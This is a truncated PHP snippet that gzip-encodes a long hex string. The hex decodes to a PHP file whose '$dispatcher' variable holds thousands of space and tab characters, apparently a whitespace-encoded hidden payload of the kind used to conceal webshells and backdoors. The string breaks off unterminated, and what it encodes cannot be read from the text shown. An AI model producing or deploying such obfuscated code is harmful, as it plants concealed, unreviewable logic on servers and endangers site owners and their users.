$compressed = gzencode(hex2bin("3c3f7068700d0a2464697370617463686572203d202220200909090920202020090909090909200909092020202020090920092020202009090920202020202009202020202020200920200920202009092009200920200909200920200920090920200920092009092020202009202009090909200920200920200909092009092020200909200909092009090920200909200920092020090920200920202009092020090920200920200909092020090909200909202009202009202020090909092009202009092009200909200909092020200920090920090920092020090909092009202009202009090920090920092020202009090920092020200909092009202020200920200909092020090909200909202009202009202020090909202009202009090920090909200909200920202020090909202020092020090909092009202009202009090920090909202020202020090909200920202009202009090920200909092009092020092020092020200909090920202020090909202009092009092009092009200909200920090920200909090920092020092020090909202009090920202020200920200909092020090909200909202009202009202020090920092009092009090920090909200909092020092020090909092009202020090909092009202009202009090920200920090909202009092009092009200909202020200920090920092009092009092009202009200909200909092020090920200909092009092020092020200909200909090920090920200909092020092009090920200909202020090920090920090909092009092009092009202009200909090920200920200909092020090909200909202009202009202020090920200920092009090920200920200909200909090920090909200909092020090909092009202009202009090920200920090909092020092009090909202009202009090920200909092009092020092020092020200909090920092020090920092020202009090920202020200909092020202020090920092009202020090909092009202009202009202020090909092009202009092009200909200909092020200920090920090920092020092009090920202009202009202020090909202009202009090920090909200909200920202020090909202020092020092009090920202009202009202020090920200920092009090920200920200909200909090920090909200909092020092009090920202009202009202020090920092009202009092009202009200909202009200920090920202020092020092009090920202009202009202020090909092020202009090920200909200909200909200920090920092009092020092009090920202009202009202020090920092009092009090920090909200909092020092020090909092009202020090909200909202009202020202020200920200920202009090920202020200909202020090920200920202020202020090909092009202009202020202020200920202009202009202020200909200920092020200920092020090920092009202020090920200920202020090920090909200909092009202009092009202009092020092020200920202009202020090909200909202009202020202020200920200920202009092020200920200909202020200920090920200909092009092020092009200909200909092020090909200920202020092020202020202009090909200920200920202020202020092020200920200920090920200920090920202020092009092009202020200909200909090920090920090909092009090909092020200920202009090920090920090909092009092009090909200909202009090920090920090920202009092020092009200909090909202020092020202009202009092009202009200909200909092020090920200909092009090909092020200920202009202020090920090909092009092020200909200909200909090920090920090920092009092009090909202009202020092020200909092009092020092020202020200909202009200920090909202009202009090920200920200909200909090920090909202009202009200909090909200909092020092020090920200920092009090920202020200909200909090920090909202009202009090920092020200909200920200920090920090909202009092020090909202009200920202020200909202020202020092009202009202009090920090920200920202020202009092009202009200909202009092020200920092020202009090920202020200909092020092020090920200920092009092020090909200920090909090920090920090920092009092020202009200909092009202020090920202009092009092009202020202009200920202020200920202009202020092009090909202009200920202020092020092020092009092009090920200909202009202020090909092020092020092020202020200920200909202020090920092020092009092020200920200909092020092020090920202020092009090920200920200909090920200920090909090920202009200909200920200909200909200920092020200920092009090920092009200909090909202020092009202020202009090909202009200909092009202020090920092020202009092009090909200909200909092020090909090920202009092009200920200909202020200920090909200920092009092009090920200909092009202020090909092020092009090909092020200920202020090920090920090909092009092009090909200909200909202020090909202020202009092020202009200909202009202020092009200909092009092020092009200909202020092020090920092009092009092009202009200909092009202020090909090920202009202020202009200909200909200920090920202020092009090909200920200909200909090920090920090909202009202020200920200909200909090920090909200920202009090909092020200920200920092020090920092020092009092009200909200909202009200920092009202009092009090920202020200909200920200920090920200920202009092020092009200909092020092020090909090920202009200920200909200909202009200920090909092009202009092009090920200909202020200920090920090920092009202020200920200909200909090920090909200920202009090909092020200920202009090920090920090909092020092009092009200909200920202020090909200920202009090920092020200909092020202020200920090920092009092020200909200909200909202020090920092020092009092020092009200909200909092020090909200920202009090909092020200920202009090920092009202020202009200920092020200920202020092020090920090909092009090920092020200909090909202020092020202009202009090909202009200909092009202020090920200920092009090920200909200909092020202020090920092020092009092020092020200909202009200920090909202009202009090909092020200920202009202020090920090909092009090920092020200920202020092020090920090909092009090920092020200909090909202020092020200909202009092020092009200909202009200920090920200920202009092009092020200909090920200920090909090920202009200909202009200909090920200920092009202009092009090920202020200909200920200920090920200920202009092020092009200909092020092020090909090920202009202009090909200920202020092020090920090909092009090920092020200909090909202020092009202020202009092020202009200909200909202020090920090909092009092020202009200909200909202020090909200920202009092009090909200909200909092020090920200920092009090920092020200909092009090920090920090909092009090920200920200909200920090920090909202009092009090909092020200909092020202020090909092020092009090920092020200909200920202020090920090909092009092009090920202009200909200920090909202009202009092020092009200909092020200920090909200920092009092020092009200909092020090920090909200920202009090920200909200909090909202020092020092020202009090920092020200909092009202020090909202020202009202020200909200909200909202020090920092020092009092020092009200909200909092020090909200920202009090909092020200909200920202020090920200920092009090920200920200909200920200920090909200920202009090920200920200909200920200920090909092020202009090909092020200920202020092020090920202020092009090920200920200909200920090920090909202009202009092009090909200909092009090920090920090920202009092020092009200909092020092020090909090920202009090920200909200909092009090920090920092020092009092020090920200909092009202020090920202009202009092009090909200909092009202020090909090920202009202020202009200909200920202020090909202009202009092020092009200909202009092020090909202009092009202020200920200909200909090920090909200920202009090909092020200920202020200920090909202009092009092009200909200920092009202020090920202009202009202020090920200920090920202020092009200920202009200920090920200909090909202020090920090920202009092009202009200909202009090920090920092020202009090920092020200920202009202020090920200920092009092020200909200909200920090920092009202009202009092020092009200909092020202020090920090909092009090920200920200909092009202020090909202009092020092020202020200920202020092020090920090909092009090920092020200909090909202020092020090920092009092009200920202009092020200920200909202009202009092020200920200909200909090920090909200920202009090909092020200920092020090920090920200920092009092009092009200909092020092020090909200920092009090920200909200909200920202020092020202009202009092009090909200909092009202020090909090920202009200920202020200909202009200920090909200920202009092020202009200909200909202020092020202009202009092009090909200909092009202020090909090920202009202020200909200909202009200920090920090909202009090920200909200909090920200920090909202009092009202009202009200909200909092020090909202009092009090920202020200909202009200920090920202009092009090920092020200909090909202020090920202009092009092009092020200909202020200920090909200920092009092020092020200909202009200920090920202009202009092009090909200909092009202020090909090920202009200920202020200909090920200920090909200920202009092009202020200909200909090920090920090909202020092009092009200909092009200920090909202009202009092009092020200909200909202020090920092020092009092020200920200909090909202020092020200909202009092020092009200909202009200920090920200920202009202020092020200909202009200920090920090920092009092009090909200909200909092020090909090920202009202020200909200909092020092020090920202020092009090920090909200909200909202020092020200920202009092020202009200909202009202020090920200920202009090909202009200909090909202020090920202020092009090920202020200909202020200920090920202009092009092009202020200909202009200920092020202009202009092020092009200909200909092020090920202009092009092009202020200909090909202020090920200920092009090909200920200909200909090920090920090909092009092009092009200909092020090920090909090920202009200909202009200909202020200920090920090909202009092020092020200909202009200920090909092020202009202020200920200909200909090920090909200920202009090909092020200920090920200920090920092020092009090920200909200909200909090920090909200920092009200920200909200909092020202020090920092020092009092020092020200909202009200920090909202009202009090909092020200920200920092020090920202020092009090920090920200909202020200920090909090920202009092020092009200909202020200920090909202009092009092009090909200909092009200920092009202009092009090920202020200909200920200920090920200920202009092020092009200909092020092020090909090920202009202020092020200909200920200920090920200909092009202020092009200909090920202020090909200920202009090909092020200920092009200920090920090909202009092009202009200909092009092020090920200920092009090920200920200909092020090920090920202020092009092009092020200920202009092020090920200920092009092020092009200909202009202020092009202020202009092020202009200909092020092020090909202009092009092020092009200909092020092020090909090920202009200920200909200909202020090920090909202009202009092020202009200909092020202020090909092020092009090909092020200920202009202020090920202020092009090920092020200909202020200920092020200909202009092009090909200909092020092020092009202009092009202020092009200920200909090920200920092020092020092009090909200909200920200920200920202009202020092009092020202009202020202020200920200920202009200909090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090920090920200920200909092009202009202020200920092009202020092009200920202009200920202020200920090909090920092009200920092009200920200909200920202009200920092009202009202009200909090909200920202020200920092020200909092009202020092009200920200909092020092009200920202020092020090909200920090909200920200920092020092020092009202009202009202020202020090909092009092020092020202020202009202020202020090920092020202009092020092009200909202020200920090920200920202009092020092009200909092020092020200920092020202020092020090909200920200920202020092009200920202009200920092020200920092020202020200920090909092020090920202009202009200909092020200909202020202020092020202020202009092009202020200909202020202020090920200909202009202020202020092020200909202009092009090909200909092020092020090920202009202009092009202009200909202009202020090920200920202009092020092009200909200909092020200920200909092020092009202009202009090920090920200920202020202020092020202020200909202009200920090909092020202009092009202009200909092009202020200920092020202020092009202009202009090920090920200920202020202009090909092009202009202020202020200920200920202009092009092020200909202020200920090920090909202009092020090909200909092009200920090920202020092009092020090909200909202009200920200920202020202020090909092009202009202020202020090909200920092009090920200920200909200909202020090920200920092009092009090920200909202020090920090920090909092009092020092020200909202009200920200920092020202009202020202020202009202009202020092009090909092009200920200909200920202009200920092009202009202009200920090920200920202009200920092009202009202009200909200909202009202009090920092020092020202009200920092020200920092009202020092009202020202009200909090909200920202020200920092020202009092009202020200909200920202009200920092009202020202009200920092020200920090909090920092020090920202009202020202009200920200909092020092020200909092009200920092009200920202020200920092020200909092009202020092009202009202009090920092009090920092020092009202009202009090920090920200920202020202020092020092020200909092020092020090920200920092009092020090920200909202009200920090909202009202020092020202020202009090909200920200920202020202009090920092009200909092020092020090920090920202009092020092009200909200909092020090920202009092009092009090909200909202009202020090920200920092020092009202020200920202020202020200920200920202009200909090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090920090920200920200909092009202009202020200920092009202020092009200920202009200920202020200920090909090920092009202009202009202020092009200920202009092020092020200920092009200920200920200920202009200920092009202009202020092020090909200920090909200920200920092020092020090909200909202009202020202020200920200920202009092009202009200909092020202020200920202020202020090909092009202009202020202020200920200920202009200909090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090920090920200920200909092009200920200920200920202009200920092020090920092009202009090909200920092009202020092020200920092009200909090909200920202020200920092020200920202009202020092020200920092020092020200920200909092009200909092009202009090920090920200920202020202020092020092020200909092009200920090920202020092009092020090909200909202009200920090920090909202009090920092020202009202020202020200909090920092020092020202020200909092009200920090909202009202009092009092020200909202009200920090920090909202009092020200909200909200909090920090920200920202009092020092009202009200920202020200920200920202009200909090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090920090920200920200909092009202009202020200920092009202020092009200920202009200920202020200920090909090920092009200920092009200920200909200920202009200920092009202009202009200909090909200920202020200920092020200909092009202020092009200920200909092020092009200920202020092020090909200920090909200920200920092020092020090909200909202009202020202020090920092020092009092020090920202009202020202020200920092020202009092009202009200909092020090920090909202009092009092020092009200909092009202020200920092020202020092020092020200920090909090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009092009092020092020090909200920200920202020092009200920202009200920092020200920092020202020092009090909092009202020200909200920200909202020092020092020092009202020092009200920200909092020092009200920202009200909090909200920200920200920092009202020202020092020090909200920090909200920200920092020092020092009202009202009202020202020090909092009092020092020202020202009202020202020200920200920202009092009202009200909092020202020200920202020202020090909092009202009202020202020200920200920202009200909090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090920090920200920200909092009202009202020200920092009202020092009200920202009200920202020200920090909090920092020202009092009202009092020200920200920200920092020200920092009202009090920200920092009202020092009090909092009202009202009200920092020202020200920200909092009200909092009202009090920090920200920202020202009090909092009202009202020202020090920200920092009092009092020200909092020090920090920200920092009092009202009200909202009092020200920202020202020092009202020200909200920200920090909202009092009090920200909200909202009200920090909200920202020092009202020202009202009202020092009090909092009200920200909200920202009200920092009202009202009200920090920200920202009200920092009202009202009200909200909202009202009090920092020092020202009200920092020200920092009202020092009202020202009200909090909200920090920202020092009090909092009202020090920200920200909090920092009202009202009200920090909200920202020200920092009202009202009202020092020200920202009200920092020200920202009200909090909200920202009092020092020090909092009200920200920202009202009090920092009090920092020092009202009202009200920200920200920202020202009090909200909202009202020202020200920202020202020092020092020200909200920200920090909202020202020092020202020202009090909200920200920202020202020092020092020200920090909090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009092009092020092020090909200920200920202020092009200920202009200920092020200920092020202020092009090909092009200909202020200920090909090920092020200909202009202009090909200920092020092020092009200909092009202020202009200920092020092020092020200920202009202020092009200920202009202020092009090909092009202020090920200920200909090920092009202009202020092020090909200920090909200920200909092009092020092020202020200909090909200920200920202020202020092020092020200909202009202020090920090909092009092009092009200909202020200920090920092020092009092009090920202009202020202020200909090920092020092020202020200909092009200920090909202009202009092009092020200909202009200920090920090909202009092020200909200909200909090920090920200920202009092020092009202009200920202020200920200920202009200909090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090920090920200920200909092009202009202020200920092009202020092009200920202009200920202020200920090909090920092020092020202009202009090909200920092020090920092009200920202020092020090909200920090909200920200920092020092020090909200909202009202020202020200920200920202009090920200909200909202020090920090909202009202009092009202009200909092020202020090909200920202020092020202020202009090909200920200920202020202009090920092009200909092020092020090920090920202009092020092009200909200909092020090920202009092009092009090909200909202009202020090920200920092020092009202020202009202009202020092009090909092009200920200909200920202009200920092009202009202009200920090920200920202009200920092009202009202009200909200909202009202009090920092009202009092009202020200909200920092020092020092020092020092009200920202020200920092009202020092009090909092009202009090920200920202020200920092020090920092009202020092009202009202009090920092009090920092020092009202009202009090920090920200920202020202020092020092020200909200920200920090909202020202020092020202020202009090909200920200920202020202009090920092009200909092020092020090920090920202009092020092009200909200909092020090920202009092009092009090909200909202009202020090920200920092020092009202020202009202009202020090920092020092009090920202020202009200920200920200909092009092020092020202020202009202020202020090920092020092009092020090920202009202020202020200920092020202020092009202020202009202020200920090920200920092009092009092009200909092020202020090909200920202009090909202009202009200920202020200920200920202009200909090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090920090920200920200909092009200920200920200920202009200920092009202020092009200920092009200920202009200920092009202009092009200920092020200920090909090920092009202009092009202020200909200920200920202020092020200920092009202009092009200920202009200920200920200909092009200909092009202009200920200920200920202020202009092020202009200909200909092020090920200920202020092020202020202009202009202020092009090909092009200920200909200920202009200920092009202009202009200920090920200920202009200920092009202009202009200909200909202009202009090920092009202009202009202020092009200920092020200920092009200920092009202020092009200920092020090920092009200920202009200909090909200920092020090920092020202009092009202009202020200920202009200920092020090920092009202020092009202009202009090920092009090920092020092020202020202009090909200920200909090920092020092020202020202009202009090920090920092020202009090920092020200909092009202020090909202020202009090920200909202009202009090920200920092020092020092020202020200909200909090920090909202009202020092020202020202009200920202020200920202020092009092020092009200909200909200920090909202020202009090920092020200909090920200920200920092020202020092020092020200920090909090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009092009092020092020090909200920200920202020092009200920202009200920092020200920092020202020092009202009092020092020090909200920090909200920200920092020092020092020202020200909202020200920090920090909202009092020092020202009202020202020200920200920202009200909090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090920090920200920200909092009202009202020200920092009202020092009200920202009200920202020200920092020090920200920200909092009200909092009202009202020202020200909090920092020090909092009202009202020202020200920200909092009092009090909200909200909092020200920200909092020092009202009202009202020202020090920090909092009090920200920202009202020202020200920092020202020092020202009200909202009200920090920090920092009090920202020200909092009202020090909092020092020092009202020202009202009202020092009090909092009200920200909200920202009200920092009202009202009200920090920200920202009200920092009202009202009200909200909202009202009090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009090909092009200920202020200920200909090920092009202009202009200920092020202009202009090920092009090920092020092009202009202009202020202020090920202020092009092009090920200909202009202020200920202020202020092020092020200920090909090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009092009092020092020090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090909090920092009202020202009202009090909200920092020092020092009200920202020092020090909200920090909200920200920202020202020090909092009202009090909200920200920202020202020092020090909202009092009202020200909200920202020090920200909202009202009090920200920092020092020092020202020200909200909090920090909202009202020092020202020202009200920202020090920092020092009090920200909200909092020090920090920200920092009090920092020202009200920202020200920200920202009200909090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090920090920200920200909092009202009202020200920092009202020092009200920202009200920202020200920090909090920092009092020202009200909090909200920202009092020092020090909092009200920200920200920092009090920092020202020092009200920200920200920202009202020092020200920092009202020092020200920090909090920092009202020202009200920200920200920200909090920092009200920202009202009090909202009202009090920092009090920092020092009202009202009202020202020090920202020092009092009090920200909202009202020200920202020202020092020092020200920090909090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009092009092020092020090909200920200920202020092009200920202009200920092020200920092020202020092009090909092009200909202020200920090909090920092020200909202009202009090909200920092020092020092009200909092009202020202009200920092020092020092020200920202009202020092009200920202009202020092009090909092009200920202020200920092020092020092020090909092009200920092020200920200909090920200920200909092009200909092009202009202020202020200909090920092020090909092009202009202020202020200920200909092009092009202020200909092009202020090909200920202009090920202020200909092020090920200920200909092020092009202009202009200920200920200920202020202009090909200909202009202020202020200920202020202020092020092020200920090909090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009092009092020092020090909200920092020092020092020200920092009200920202009200920092009200920092020200920092009200920200909200920092009202020092009090909092009200920200909200920202020090920092020092020202009202020092009200920200909200920092020200920092020092020090909200920090909200920200920202020202020090909092009202009202020202020200920200909092009092009202020200909092009202020090909200920202009090920202020200909092020090920200920200909092020090909200909202009202020202020090909090920092020092020202020200909202009200920090920090920202009090920200909200909202009200920200920202020202009090909200909202009202020202020200920202020202020092020092020200920090909090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009092009092020092020090909200920092020092020092020200920092009200920202009200920092009200920092020200920092009200920200909200920092009202020092009090909092009200920200909200920202020090920092020092020202009202020092009200920200909200920092020200920092020092020090909200920090909200920200920202020202020090909092009202009202020202020200920200909092009092009202020200909092009202020090909200920202009090920202020202009202009090920200909092009092020092020202020200909090909200920200920202020202009092020090920200909092009200920090920090909202009092020200909200909092009202020090920092020092009092009090909200909200909092020200920202020202009090920090909200909092020092020090920092020092009090920092020200909202009200920092009200920202009092009090909200920202009092020090920092020092009092009092020200909202009200920200920092020202020092020092020200909092020202020090920202020092009090920092020200909200920202020200920090920202020092020202020202009202009202020090920202009092009092009090909200909200909092020090909200920202009092020092009200909200909092020090909200920202009090920200909202009200920200920200920202020202009090909200909202009202020202020200920202020202020092020092020200909202009092020090920092020092009092009092020200909202009200920200920202020202020090909092009202009202020202020090920200909202009092009090909200909092020202020090920200920092009092009090920202009200920202020200920200920202009090920202020200909202020200920090909200920202009092009202020202009200909202020200920202020202020092020200920200909092009090920200920202009202020092009202009202009090920090920200920202020202020092020202020200909200920200920090920200909202020092020202020202009200920202020200920200920202009092020090920200909200920200920090920090920202009092020092009202009200920200920200920202020202009090909200909202009202020202020200920202020202009092020090920200909092009090920090909202009202009092009202009200909092009202020090920200920092020092009202020202009202009202020090920200909202009092009202009200909200909202020090920200920092020092009092020202009202020202020200920200920202009092020200909200909200909090920090920090909202009090920092020200909202009200920090920090909202009090920092020200909092020090920200920092020092020090909200909202009202020202020200920202020202009092020090920200909202020090920090920090920202009092009090909200909092020090920090920200920092020092009202020202009202009202020090920200909202009092009202009200909200909202020090920200920092020092009202009202009090920090920200920202020202020092020202020200909092020092020090920200920092009090920092020200909092009200920090909202009202009092009090920202009202020202020090909200920202009090920200920200909092009200920090920200920092020090909200909202009202020202020200920202020202009090909092009202009202020202020200920202020202009090920200920200909202009200920090909200920202009090920092009200909092020092020090920090909202020092020202020200909202009092020090920202020092009092009092020200909092020090920090920200920092020090909200909202009202020202020090909090920092020092020202020202009202020202020090920200909202009090920092009200909200909092020090920202009092009090920092020200909200920200920090920090909092009092009090920202009202020202020090909202009202009092020092009200909202020200920090920200920202009202020090920200909092020092020090920090909092009092009092009200920202009092020090920092020092009092009092020200909202009200920200920092020202020092020092020200909092020202020090920202020092009090920092020200909200920202020200920092020092020092020202020200909090920090920200920202020202020092020202020202009202009202020090920200909202009092009202009200909200909202020090920200920092020092020202020202009090909200920200920202020202009092020090920200909200909090920090909202020202009092020092009200909200909092020200920092020202020092020092020200909092020202020090920202020092009090920092020200909200920202020200920090920202020092020202020202009202020092020090909202009202020092020200920202009200920200920200909092009092020092020202020202009202020202020090920092020092009092020090920202009202020202020200920092020202020092020092020200909202009092020090920092020092009092009092020200909202009200920200920092020092020092020202020200909090920090920200920202020202020092020202020202009202009202020090920202009092009092009090909200909200909092020090909200920202009092020092009200909200909092020090909200920202009090920200909202009202020202020200909090920092020092020202020200909202009092020090909202009202009092020092009200909202020200920090920200920202020092009202020202009202009202020090920200909202009092009202009200909200909202020090920200920092020092009092020202009202020202020090920200909202009092009202009200909200909202020090920200920092009090920200909200909200920200920090909092009202009092020092009202009200920202020200920200920202009090920202020200909202020200920090909200920202009092009202020202009200920200920200920092020092020090909200909202009202020202020200920202020202009092020090920200909202020090920090920090920202009092009090909200909092020090920090920200920092020092009202020202009202009202020090920200909202009092009202009200909200909202020090920200920092020092009202009202009090920090920200920202020202020092020202020200909092020092020090920200920092009090920092020200909092009200920090909202009202009092009090920202009202020202020200920200920202009092020200909200909200909090920090920090909202009090920092020200909202009200920090920090909202009090920092020200909092020090920200909092009092020092020202020202009202020202020090909090920092020092020202020202009202020202020090909202009202009092020092009200909092009202020090909200920092009090920200920200909200909092020200920202020202009092020090920200909202020200920090920090920202009090920200909200909202009200920200909092009092020092020202020200909090909200920200920202020202020092020092020200909200920202020090909200920202009090920092020200909092020202020200920202020202020090909092009202009202020202020090909200920092009090920200920200909200909202020090920200920092009092009090920200909202020090920090920090909092009092020092020200909202009200920200920092020202020092020092020200920090909090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009092009092020092020090909200920092020092020092020200920092009200920202009200920092009200920092020200920092009200920200909200920092009202020092009090909092009200920200909200920202020090920092020092020202009202020092009200920200909200920092020200920092020092020090909200920090909200920200920092020092020090909200909202009202020202020200920200920202009090920092009200909092020092020090920092020092020092020202020202009090909200920200920202020202009090920092009200909092020092020090920090920202009092020092009200909200909092020090920202009092009092009090909200909202009202020090920200920092020092009202020202009202009202020092009090909092009200920200909200920202009200920092009202009202009200920090920200920202009200920092009202009202009200909200909202009202009090920092009202009202009202020092009200920092020200920092009200920092009202020092009200920092020090920092009200920202009200909090909200920092009200920092009202009202009202009202009202009202009090920092009090920092020092009202009202009090920090920200920202020202009092009202009200909202009092020200920092020202009090920200909200909092009202020090909202009202009090920202020200909200909090920090909202009092020092009202020202009202009202020090909200920092009090920200920200909200920200920200920090920202020092020200920200909202009090920090920092020202009090920202009200909202009090920090920092020202009090920202009202009202020092020200920092020092020092020202020202009202020200920200909090920092020090909092009202009202020202020090920200909202009092020202009200909200909202020090909202009092009092020092009202009200920200920090909092009092009092020092009200909202020090920090920092020202009092009090909202009202020202020200920202009202009092009090909200909200920090920200920202009202020090909200909200909202009200920090909092020202009092009202009200909092009202020200920092020202020092009202009202009090920090920090909090920092020092020202020202009202009202020090920200909092009092009202020200909092020200920200920202020202020090909092009202009202020202020200909202020202020090909200909202009202020202020200920200920202009092020090909200909200920202020090909202020092009202020090920200909200920200920090920090920202009092020092009200920092020202020090920202020092009090920092020200909200920202020200920202020202020090909092009202009202020202020200920202009202009092020090909200909200920202020090909202020092020092009090920200909092009202020090909092020202009090920092020202009202020092020200909092009092020092020202020200909200920200920090920200909202020092009202020202009202020200920090920092020092009090920200909200920090909090920090920200909202009092009202009200909200909202020090920200920092020092009202020202009202009202020090920200909092009092009202020200909092020200920092020200909202009092009202009200909200909202020090920200920092009200920202020200909202020200920090909200920202009092009202020202009200920200920200920092020092020092020202020200909090920090920200920202020202020092020202020202009202009202020090909200920092009090920092009200909092009200920200920202020202020090909092009202009202020202020200920200920202009092009202020200909092009202020090909200920202009090920202020202009200909092020200920200909092020090909200920202009200909090920200920090909092020092020090909202009200909092020200920200920202009200909090909200920092020090920092020200920092009200920200920200920092009092020092020200920092009200920200920200920090920090920200920200909092009202009202020200920092009202020092009200920202009200920202020200920090909090920092020092020202009202009090909200920092020090920092009200920202020092020090909200920090909200920200920090909202020092020090909202009200909090920090920200909092009092009202020200909092020200920090920200909092009092009202020200909092020200920200920200909092020090909200909202009202020202020200920202020202020092020092020200909090920200920090920090909202009090920092020200909092020202020200920202020202020090909092009202009202020202020092020202020202009092020090920200909200920200920090920090920202009092020092009200920090909090920090920200909092009092020092009200909092009202020092009090909092009092020200909200909200909090920090920090909202009090920092020200909202009200920090920090909202009090920092020200909092020090920200920092020202020092020092020200909092009200920090909200920092009090920092009202009200920200920200909092009092020092020202020202009202020202020200920202020202009092009202009200909202009092020200920092020202020092020092020200909090920200920090920090909202009090920092020200909092020202020200920202020202020090909092009202009090909200920200909090920092020092020202020202009202020092020090920090909092009092009200909202009202020092020200920092020092020092020202020200909090920090920200920202020202020092020202020202009202020202020200920200920202009092020090909200909200920202020090909202020092020092020202020202009090909200920200920202020202020090920202009202009090920090920200920202020202020092020202020202009202020202020090909200909092009090920200920200909200920200920090909200920202009092020092009200920092009202020090920090909092009202020090920200909200920200920090920090920202009092020092009202009200920202020200920200920202009092020090909200909200920202020090909202020092009202020090920200909200920200920090920090920202009092020092009200920092020202020090920202020092009090920092020200909200920202020200920090920202020092020200920202009092020200920200920202009202020092009202009202009090920090920200920202020202020092020202020200909090909200920200920202020202009092020092009200909200909202020090909202009092009092020092009202009202020202020090909092009092020092020202020202009202020202020200920202020202020092020092020200909202009090920090920092020202009090920202009202009202020202020200909090920092020092020202020202009092020202020200909092009092020092020202020202009202020202020200920202020202009090920090909200909092020092020090920092020092009090920092020200909202009200920092009200920202009092009090909200920202009092020090920092020092009092009092020200909202009200920200920092020202020092020092020200909202009090920090920092020202009090920202009200920202009092020090920092020092009092009092020200909202009200920092009202020202009092020202009200909092009202020090920092020202020092009092020202009202020092020200909202020202020092020200920202009200920200920200909092009092020092020202020202009202020202020090909090920092020092020202020200909090909200920200920202020202009092020092009200909200909202020090909202009092009092020092009202009202020202020090909092009092020092020202020202009202020202020200920200920202009092020090909200909200920202020090909202020092020092020202020202009090909200920200920202020202009090920200920200909202009200920090920202020092009092020092020200920202009092020090909202009202009092009090909200909200909200920092020200909202009092009202009200909200909202020090920200920092020092009202020202009202009202020090920200909092009092009202020200909092020200920092020200909202009092009202009200909200909202020090920200920092009200920202020200909202020200920090909200920202009092009202020202009200920200920200909092009092020092020202020200909090909200920200920202020202020092020202020200909200920200920090920200909202020092009202020200909092020090920090909200920202009090920200920200909092020202020090920090909092009090920200909202009200920202020200920200920202009090920092009200909092020092020090920092020092020092009092020202009202020092020090920200909202009092020202009200909092009092020090920092020092009092020200909200909200909090920090920090909202020092009090920200909200920200920090920202009092009092009090909202009202020092020200920092020092020092020202020202009202020200920200909090920092020090909092009202009202020202020090920200909202009092020202009200909200909202020090909202009092009092020092009202009200920200920200920202020202009090909200909202009202020202020090909090920092020092020202020200909202009200920090920090920202009090920200909200909202009200920200920202020202009092009202009200909202009092020200920092020202009090920202020200909092020092020090920200920092009092020090909200920090909090920090920090920092009092020202009200909092009202020090920202009092009092009202020202009200920202020200920202009202009202020202020200920090909092020200920090909092020092009202020202009200909092020200920092009202020090909090909202009200920200920200920090909202009090909202020200909200909200920090920090920202020092020092020200920202020202020090920092020092020092020200920202009200909202020200920202020202020092020092020200920090909090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009092009092020092020090909200920092020092020092020200920092009200920202009200920092009200920092020200920092009200920200909200920092009202020092009090909092009200920092009200920092020092020092020092020092020092020090909200920090909200920200920092020092020092020202020200909200909090920090909202009202020092020202020200909092020090920090909200920202009090920200920200909092020202020090920090909092009090920200909202009200920202020200920200920202009090920092009200909092020092020090920092020092020092009092020202009202020092020090909202009202009092009090909200909202020092020090920090909092009090920092020200909092020090920200920090909202009090920092020200909090920202020090909200920202020092020200920202009200920200920200920202020202020092020202009202009090909200920200909090920092020092020202020200909202009092020090920202020092009092009092020200909092020090920090920200920092020092020202020200909200909090920090909202009202020092020202020200909092020090920090909200920202009090920200920200909092020202020090920090909092009090920200909202009200920202020200920200920202009090920092009200909092020092020090920092020092020092009092020202009202020092020090920092009202009090920202020202009092020092020200909202020202020090920200920202009092020090920200920202009202020092009202009202009202020202020200920202020092020090909092009202009090909200920200920202020202009092020090920200909202020200920090920090920202009090920200909200909202009200920200920202020202009092009090909200909092020092020200920202020202009090920200909200909092009202020090909202009202009090920202020200909200909090920090909202009092020092009202020202009202009202020090909200920092009090920200920200909200920200920200920090920202020092020200920200909092020202020090920092020092009092009090920200909202009090920090909202009092009092009202009200909092009202020090920200920092009092009092009200909202020200920090909202020202020092020200920202009200920200920200920202020202020092020202009202009090909200920200909090920092020092020202020200909202009092020090920202020092009092009092020200909092020090920090920200920092020092020202020200909200909090920090909202009202020092020202020200909092020202020090909202009202009092020092009200909202009090920092009090909092009092009092009200909202020200920090909200920202009092020200909200909200920202020200920092020202020092020200920202009200909090920200920092020202020092020092020200909202020092020090920202020092009092020090909200909202009200920090920090909202009090920092020202009200920200920200920090909092009092009202009202009202020092020200920090920202020092020202020202009202009202020092009090909092009200920200909200920202009200920092009202009202009200920090920200920202009200920092009202009202009200909200909202009202009090920092020092020202009200920092020200920092009202020092009202020202009200909090909200920092009200920092009202009092009202020092009200920092020092020092009090909092009202020202009200920202009090920092020200920092009202009090920200920092009202020200920200909092009200909092009202009200920200920200920202020202009092009090909200909092020092020200920202020202009090920202020200909092020092020090920200920092009092020090909200920090909090920090920090920092009092020202009200909092009202020090920202009092009092009202020202009200920202020200920202009202020092009090909202009200920202020200920200920202009092020200920200909202020200920090920200909092009092020092009200909200909092020090909200920202020092009202009202009200909090920090920092020092020092020200920202009200909202020200920202020202009202020202020202009202009202020092009090909092009200920200909200920202009200920092009202009202009200920090920200920202009200920092009202009202009200909200909202009202009090920092020092020202009200920092020200920092009202020092009202020202009200909090909200920092020092020092020200920092009202020090920200920202009200920092009202009202009202020092009200920092020092020200920200909092009200909092009202009200920200920200920092020092020092020202020200909090920090920200920202020202020092020202020202009202009202020090909202009202009092020092009200909092020200920090909200920092009090920200909200909092009202020090909200920092009090920200920200909200909202020200920202020202020090909092009202009202020202020200920200920202009090909200920200909200920202020090909202020202009090920202020200909200920092020200920090909202020092020200920202009090909090920090920202020092009092020090909200909202009200920090920090909202009090920092020202009090909200920200920200920202009090920092009200909202020200920090920